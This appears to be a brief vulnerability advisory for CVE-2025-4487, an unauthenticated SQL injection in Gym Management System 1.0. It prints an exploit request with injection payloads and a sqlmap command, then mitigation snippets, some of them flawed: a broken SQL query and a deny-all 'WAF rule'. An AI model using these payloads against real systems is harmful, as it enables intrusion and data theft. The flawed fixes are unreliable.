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How CVE-2025-4487 Works
This vulnerability exists in Gym Management System 1.0 due to improper input sanitization in the `/ajax.php?action=delete_member` endpoint. The `ID` parameter is directly concatenated into an SQL query without validation, enabling attackers to inject malicious SQL payloads. By crafting a specially crafted request, an attacker can manipulate database queries, potentially extracting sensitive data, modifying records, or executing administrative operations. The attack is remotely exploitable with no authentication required, making it critical. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms the ease of exploitation.
DailyCVE Form
Platform: Gym Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
POST /ajax.php?action=delete_member HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded ID=1' OR 1=1-- -
-- Extract database version ID=1' UNION SELECT 1,version(),3,4-- -
Detection
sqlmap -u "http://target.com/ajax.php?action=delete_member" --data="ID=1" --risk=3 --level=5
Mitigation
1. Input Validation:
$id = mysqli_real_escape_string($conn, $_POST['ID']);
2. Prepared Statements:
$stmt = $conn->prepare("DELETE FROM members WHERE id = ?");
$stmt->bind_param("i", $_POST['ID']);
3. WAF Rules:
location ~ ajax.php {
deny all;
}
4. Log Analysis:
grep 'ajax.php?action=delete_member' /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
5. Patch Upgrade:
wget https://vendor.com/patches/gymmgmt_1.1_fix.zip unzip gymmgmt_1.1_fix.zip -d /var/www/html/
Post-Exploitation Analysis
-- Check for added admin users SELECT FROM users WHERE role = 'admin';
Audit database permissions mysql -u root -p -e "SHOW GRANTS FOR 'gymuser'@'localhost';"
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
